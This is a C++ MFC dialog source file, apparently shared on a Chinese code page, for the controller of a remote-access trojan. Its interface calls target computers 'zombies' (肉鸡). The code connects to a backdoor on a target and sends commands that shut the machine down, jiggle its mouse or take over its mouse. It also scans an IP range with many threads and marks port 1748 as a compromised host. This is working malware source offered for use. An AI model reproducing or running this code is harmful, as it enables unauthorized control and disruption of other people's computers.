📄 kzqdlg.cpp
字号:
//当用户拖动最小化窗口时系统调用此函数取得光标显示。
HCURSOR CKZQDlg::OnQueryDragIcon()
{
return static_cast<HCURSOR>(m_hIcon);
}
void CKZQDlg::Loing(void)
{
m_pSocket=new CRequest(this);
if(!(m_pSocket=ConnectServer()))
{
m_pSocket=NULL;
return;
}
}
void CKZQDlg::FetchMsg(CRequest *pRequest)
{
char pMsg[10000],tempMsg[1000];
int ByteCount;
int End=0;
CString AA;
CStringArray *temp=new CStringArray;
strcpy(pMsg,"");
do
{
strcpy(tempMsg,"");
ByteCount=pRequest->Receive(tempMsg,1000);
if(ByteCount>1000||ByteCount<=0)
{
showtext("接受对方肉鸡网络信息发生错误");
return ;
}
else if(ByteCount<1000&&ByteCount>0)
{
End=1;
}
tempMsg[ByteCount]=0;
strcat(pMsg,tempMsg);
}while(End==0);
AA= pMsg;
if(AA =="CG1")
{
showtext("成功!对方计算机已经开始关闭了!");
}
if(AA =="CG2")
{
showtext("成功!对方计算机鼠标已经开始乱动了!");
}
if(AA=="CG3")
{
showtext("成功!对方计算机鼠标由你控制了!");
mouse=TRUE;
}
if(mouse==TRUE)
{
CString SelAllStrA,sSIpA,sDIpA;//检测是否发送过来的是对方的屏幕大小.
SelAllStrA = AA;
//int nBeginA=SelAllStrA.Find("资料到A");
int nEndA=SelAllStrA.Find(":");
sSIpA=SelAllStrA.Mid(0,nEndA);
TRACE(sSIpA);
if(sSIpA=="分辨率")
{
//获得对方屏幕的宽
int nBeginA=SelAllStrA.Find(":");
int nEndA=SelAllStrA.Find(">");
sSIpA=SelAllStrA.Mid(nBeginA+1,nEndA-1-nBeginA);
TRACE(sSIpA);
WinX=atoi(sSIpA);
//
//获得对方屏幕的高
nBeginA=SelAllStrA.Find(">");
nEndA=SelAllStrA.Find("?");
sSIpA=SelAllStrA.Mid(nBeginA+1,nEndA-1-nBeginA);
TRACE(sSIpA);
WinY=atoi(sSIpA);//
//
//弹出模拟对方屏幕界面
CWindows dlg;
dlg.WinX = WinX;
dlg.WinY=WinY;
if(dlg.DoModal()==IDCANCEL)
{
showtext("你试图停止控制对方鼠标.....");
CKZQDlg *pFrame=(CKZQDlg *)AfxGetApp()->m_pMainWnd;
if(pFrame->m_pSocket)
{
char pMsg[10000];
sprintf(pMsg,"%s","StopMouseMove");
pFrame->SendMsg(pFrame->m_pSocket,pMsg);
}
}
//
}
}
if(AA=="CG4")
{
showtext("成功!对方计算机鼠标不由你控制了!");
mouse=FALSE;
}
////获取储备数据
//CString SelAllStrA,sSIpA,sDIpA;//检测数据.
//SelAllStrA = SZMM;
//int nBeginA=SelAllStrA.Find("资料到A");
//int nEndA=SelAllStrA.Find(":");
//sSIpA=SelAllStrA.Mid(nBeginA-7,nEndA);
//TRACE(sSIpA);
//if(sSIpA=="资料到A")
//{
// XXCV();
//}
}
void CKZQDlg::SendMsg(CRequest *pRequest, char *pMsg)
{
pRequest->Send(pMsg,int(strlen(pMsg)));
}
void CKZQDlg::OnBnClickedButton1()
{
// TODO: 在此添加控件通知处理程序代码
UpdateData(true);
if(m_GO=="我停止控制对方鼠标!")
{
showtext("你试图停止控制对方鼠标.....");
CKZQDlg *pFrame=(CKZQDlg *)AfxGetApp()->m_pMainWnd;
if(pFrame->m_pSocket)
{
char pMsg[10000];
sprintf(pMsg,"%s","StopMouseMove");
pFrame->SendMsg(pFrame->m_pSocket,pMsg);
}
}
if(m_GO=="我来控制对方鼠标!")
{
showtext("你试图来控制对方鼠标.....");
CKZQDlg *pFrame=(CKZQDlg *)AfxGetApp()->m_pMainWnd;
if(pFrame->m_pSocket)
{
char pMsg[10000];
sprintf(pMsg,"%s","SetMouseMove");
pFrame->SendMsg(pFrame->m_pSocket,pMsg);
}
}
if(m_GO=="试图让对方的鼠标乱动!")
{
showtext("试图让对方的鼠标乱动.....");
CKZQDlg *pFrame=(CKZQDlg *)AfxGetApp()->m_pMainWnd;
if(pFrame->m_pSocket)
{
char pMsg[10000];
sprintf(pMsg,"%s","MouseMove");
pFrame->SendMsg(pFrame->m_pSocket,pMsg);
}
}
if(m_GO=="试图关闭对方计算机!")
{
showtext("试图关闭对方计算机.....");
CKZQDlg *pFrame=(CKZQDlg *)AfxGetApp()->m_pMainWnd;
if(pFrame->m_pSocket)
{
char pMsg[10000];
sprintf(pMsg,"%s","KFC");
pFrame->SendMsg(pFrame->m_pSocket,pMsg);
}
}
}
CRequest *CKZQDlg::ConnectServer()
{
CRequest *pSocket=new CRequest(this);
if(!(pSocket->Create()))
{
delete pSocket;
showtext("创建Socket失败");
return NULL;
}
//连接到服务器
if(!pSocket->Connect(m_Server,m_Port))
{
delete pSocket;
showtext("请求连接到对方失败!");
return NULL;
}
else
{
showtext("恭喜你!连接成功!");
showtext("你可以试图控制对方肉鸡了...");
GetDlgItem(IDC_COMBO1)->EnableWindow(TRUE);
GetDlgItem(IDC_BUTTON1)->EnableWindow(TRUE);
}
return pSocket;
}
void CKZQDlg::OnBnClickedOk()
{
// TODO: 在此添加控件通知处理程序代码
showtext("正在试图连接对方肉鸡后门!");
UpdateData(TRUE);
m_Server=m_IP;
m_Port=m_prot;
UpdateData(FALSE);
Loing();
}
void CKZQDlg::showtext(CString AA)
{
m_XTXX.AddString(AA);
int numList=m_XTXX.GetCount()-1;
m_XTXX.SetTopIndex(numList);
m_XTXX.SetCurSel(numList);
int max_width=0;
CSize sz;
CClientDC dc(this);
for(int i=0;i<m_XTXX.GetCount();i++)
{
m_XTXX.GetText(i,AA);
sz=dc.GetTextExtent(AA);
if(max_width<sz.cx)
max_width=sz.cx;
}
}
void CKZQDlg::OnMouseMove(UINT nFlags, CPoint point)//无效了
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
if(mouse==TRUE)
{
//CKZQDlg *pFrame=(CKZQDlg *)AfxGetApp()->m_pMainWnd;
//if(pFrame->m_pSocket)
//{
// char pMsg[10000];
// sprintf(pMsg,"%d:%d>",point.x,point.y);
// pFrame->SendMsg(pFrame->m_pSocket,pMsg);
//}
}
CDialog::OnMouseMove(nFlags, point);
}
void CKZQDlg::OnBnClickedCancel()
{
// TODO: 在此添加控件通知处理程序代码
//if(m_pSocket)
//{
// delete m_pSocket;
// m_pSocket=NULL;
//}
TerminateThread(m_hThread, 0);
m_hThread = NULL;
KillTimer(1);
WSACleanup();
OnCancel();
}
void CKZQDlg::OnBnClickedButton2()
{
// TODO: 在此添加控件通知处理程序代码
//获取IP
jackie=0;
CString PD="停止..";
CString PDD;//上面2个是判断是不是已经开始搜索了,开始了就停止。停止了就开始
GetDlgItem(IDC_BUTTON2)->GetWindowText(PDD);
if(PD ==PDD)
{
g_bTerminate = TRUE;
GetDlgItem(IDC_BUTTON2)->SetWindowText("停止中..");
KillTimer(1);
}
else
if (m_hThread == NULL)
{
m_list.DeleteAllItems();
UpdateData();
BYTE i1,i2,i3,i4;
m_SMIP.GetAddress(i1,i2,i3,i4);
char sIP[15];
char sIP1[15];
sprintf(sIP, "%d.%d.%d.", i1,i2,i3);
sprintf(sIP1,"%d",i4);
AA="";
BB="";
jackie = 0;
for(int i=0;i<15;i++)
{
AA += sIP[i];
BB += sIP1[i];
}
BB.Format("%s",BB);
AA.Format("%s",AA);
int ll;
ll=atoi(BB);
if(m_SMIPEND<ll)
{
showtext("错误!你最大IP小于最小IP,系统默认为2-3");
m_SMIPEND=3;
ll = 2;
}
m_JIP.SetRange32(0,m_SMIPEND-ll+1);
m_JIP.SetPos(0);
m_JIP.SetStep(1);
int UU = m_SMIPEND-ll;
for(int K=0;K<=m_SMIPEND-ll;K++)
{
int oo=ll+K;
BB.Format("%d",oo);
m_JIP.StepIt();
m_IPP=AA+BB;
if ((g_ulAddr = GetAddr(m_IPP)) == INADDR_NONE)
{
showtext("无法找到主机"+m_IPP);
return;
}
m_nHasComplete = 0;
m_dwPercentSeconds = 0;
m_DIP.SetPos(0);
m_DIP.SetStep(1);
g_bTerminate = false;
g_dwTimeOut = 1000;//延时时间
g_hWnd = m_hWnd;
g_nMaxThread = 100;//查找线程
g_nThreadCount = 0;
tag_PORTS* pScanParam = new tag_PORTS;
pScanParam->bSepecifiedPort = FALSE;
pScanParam->iStartPort = m_Sport;
pScanParam->iEndPort = m_Eport;
m_DIP.SetRange32(0, m_Eport-m_Sport+1);
DWORD dwThreadId;
m_hThread = CreateThread(NULL, 0, StartScan, (LPVOID)pScanParam, 0, &dwThreadId);
GetDlgItem(IDC_BUTTON2)->SetWindowText("停止..");
SetTimer(1, 100, NULL);
}
jackie =1;
}
}
LRESULT CKZQDlg::OnRecalcDone(WPARAM wParam, LPARAM lParam)
{
// return 0;
CString CC;
CString KKK;
int a=0;
switch(wParam)
{
case DOSCAN_FIND_PORT:
a=(int)lParam;
KKK.Format("%d",a);
BB.Format("%s",BB);
CC= AA+BB;
nItem = m_list.InsertItem(0, CC);
if(KKK=="1748")
{
m_list.SetItemText(nItem, 1, "肉鸡"+KKK+"端口存在.");
}
else
{
m_list.SetItemText(nItem, 1, KKK+"端口存在.");
}
break;
case DOSCAN_END_PORT:
m_nHasComplete++;
break;
case STARTSCAN_COMPLETE:
m_hThread = NULL;
GetDlgItem(IDC_BUTTON2)->SetWindowText("立即扫描");
KillTimer(1);
break;
default:
break;
}
return 0;
}
void CKZQDlg::OnTimer(UINT nIDEvent)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
if(nIDEvent==1)
{
CString s;
m_DIP.SetPos(m_nHasComplete);
}
CDialog::OnTimer(nIDEvent);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -